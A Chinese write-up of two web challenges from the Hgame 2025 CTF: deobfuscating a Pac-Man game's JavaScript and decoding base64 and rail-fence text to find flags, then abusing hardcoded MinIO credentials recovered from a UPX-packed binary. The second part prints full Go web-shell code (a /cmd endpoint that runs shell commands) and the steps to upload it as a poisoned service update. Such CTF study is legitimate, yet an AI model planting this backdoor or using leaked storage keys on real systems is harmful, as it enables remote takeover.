Vidar Hgame 2025 WP 1
[WEB] Picman
打开是一个吃豆人游戏, F12 在控制台能看见 index.js 和 game.js:

Obfuscator 混淆
代码的可读性极差, 应该是经过了混淆, 把 index.js 扔进这个网站解码: deobfuscate
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| _0x3c0cce.createItem({ x: _0x5e1765.width / 2, y: _0x5e1765.height * 0.5, draw: function (_0x413b57) { _0x413b57.fillStyle = '#FFF' _0x413b57.font = '20px PressStart2P' _0x413b57.textAlign = 'center' _0x413b57.textBaseline = 'middle' var _0x82b005 = _SCORE + 50 * Math.max(_LIFE - 1, 0) _0x413b57.fillText('FINAL SCORE: ' + _0x82b005, this.x, this.y) _0x82b005 > 9999 ? ((_0x413b57.font = '16px PressStart2P'), _0x413b57.fillText( 'here is your gift:aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=', this.x, this.y + 40 ), console.log( 'here is your gift:aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=' )) : ((_0x413b57.font = '16px PressStart2P'), _0x413b57.fillText( 'here is your gift:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==', this.x, this.y + 40 ), console.log( 'here is your gift:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==' )) }, })
|
对这两段字符串 base64 解码, 结果是:
1 2
| haeu4epca_4trgm{_r_amnmse} haepaiemkspretgm{rtc_ae_efc}
|
Fence
Fence 解密后:


得到 flag:
1 2
| hgame{u_4re_pacman_m4ster} hgame{pratice_makes_perfect}
|
关于 Fence (栅栏密码): 将原文按一定的不长和偏移按之字形排开, 然后按行读取得到;
例如,如果设置偏移量,可能会导致第一组字符不是从第一层开始,或者起始波形处于下降/上升的中途。
一个例子可以很形象的展示:
原文: HELLOWORLD;
Key = 2, Offset = 0:
1 2
| 行 1: H . L . O . O . L . 行 2: . E . L . W . R . D
|
重排后” HLOOLELWRD;
Key = 3, Offset = 2:
1 2 3
| 行 1: . . L . . . O . . . 行 2: . E . L . W . R . D 行 3: H . . . O . . . L .
|
重排后: LOELWRDHOL。
这种加密方式本质上属于经典置换密码(Transposition Cipher),它只改变了字符的位置,而没有改变字符的分布特征。长话短说的讲, 没有显著提高信息的熵值。
[WEB] 双面人派对
minio
题目一共有两个网站, 访问一下 web 这个:

有一个 main 文件, 这是一个二进制文件;

一个带 upx 壳的 64 位可执行文件; 去 github 上下载一个脱壳工具即可, 指令:
之后用 IDA 打开审计, 慢慢找, 能找到一点 minio 的线索, 搜索这个 level25 最终能找到配置数据:

说明另一个服务可能是 minio 服务, 并且给出了配置:
1 2 3 4 5 6
| minio: endpoint: "127.0.0.1:9000" access_key: "minio_admin" secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs=" bucket: "prodbucket" key: "update"
|
用 mc 工具连接:
官方网站的临时指令:
1 2 3 4 5 6 7 8
| curl https://dl.minio.org.cn/client/mc/release/linux-amd64/mc \ --create-dirs \ -o $HOME/minio-binaries/mc
chmod +x $HOME/minio-binaries/mc export PATH=$PATH:$HOME/minio-binaries/
mc --help
|
1
| mc alias set myminio http://forward.vidar.club:31211 minio_admin "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="
|
连接成功后在服务器执行:
1 2 3
| mc ls myminio mc ls myminio/hints mc cp myminio/hints/src.zip path
|

文件上传漏洞
获取源码分析:
minio 的配置是写死在 yaml 里的, 启动时会从 minio 中的 update 中读更新, 但是 minio 的文件上传没有过滤和限制, 因此可以上传到 minio 污染源码!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package main
import ( "level25/fetch"
"level25/conf"
"github.com/gin-gonic/gin" "github.com/jpillora/overseer" )
func main() { fetcher := &fetch.MinioFetcher{ Bucket: conf.MinioBucket, Key: conf.MinioKey, Endpoint: conf.MinioEndpoint, AccessKey: conf.MinioAccessKey, SecretKey: conf.MinioSecretKey, } overseer.Run(overseer.Config{ Program: program, Fetcher: fetcher, })
}
func program(state overseer.State) { g := gin.Default() g.StaticFS("/", gin.Dir(".", true)) g.Run(":8080") }
|
编写 webshell
因此给他加个后门:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| package main
import ( "bytes" "level25/fetch" "level25/conf" "net/http" "os/exec"
"github.com/gin-gonic/gin" "github.com/jpillora/overseer" )
func main() { fetcher := &fetch.MinioFetcher{ Bucket: conf.MinioBucket, Key: conf.MinioKey, Endpoint: conf.MinioEndpoint, AccessKey: conf.MinioAccessKey, SecretKey: conf.MinioSecretKey, } overseer.Run(overseer.Config{ Program: program, Fetcher: fetcher, }) }
func program(state overseer.State) { g := gin.Default() g.StaticFS("/static", gin.Dir(".", true)) g.GET("/cmd", func(c *gin.Context) { command := c.Query("command") if command == "" { c.JSON(http.StatusBadRequest, gin.H{"error": "command parameter is required"}) return } cmd := exec.Command("sh", "-c", command) var stdout, stderr bytes.Buffer cmd.Stdout = &stdout cmd.Stderr = &stderr err := cmd.Run() if err != nil { c.JSON(http.StatusInternalServerError, gin.H{ "error": "failed to execute command", "details": stderr.String(), }) return } c.JSON(http.StatusOK, gin.H{ "command": command, "output": stdout.String(), }) }) g.Run(":8080") }
|
修改后编译, 上传:
1 2 3 4 5 6 7 8
| export GOPROXY=https://mirrors.aliyun.com/goproxy
go build -o main main.go
mc cp ./main myminio/prodbucket/update
|
注意, 由于目标环境在 Linux 上, 这里最好也在 Linux 上编译;
之后服务会自动重启, 重启后访问后门:


flag 就在根目录下;
总结
入口分析
- 目标:Web 服务提供的 main 二进制文件
- 手段:UPX 脱壳 → IDA 静态审计
关键信息泄露
在二进制文件中搜索 level25 定位到硬编码的 MinIO 配置:
1 2 3 4 5
| Endpoint: 127.0.0.1:9000 Access Key: minio_admin Secret Key: JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs= Bucket: prodbucket Key: update
|
后续利用
使用 mc (MinIO Client) 工具连接对象存储服务
潜在攻击面:存储桶遍历、文件下载/上传、密钥泄露等
核心漏洞:二进制文件未脱敏,硬编码云服务凭证导致内部 MinIO 服务暴露。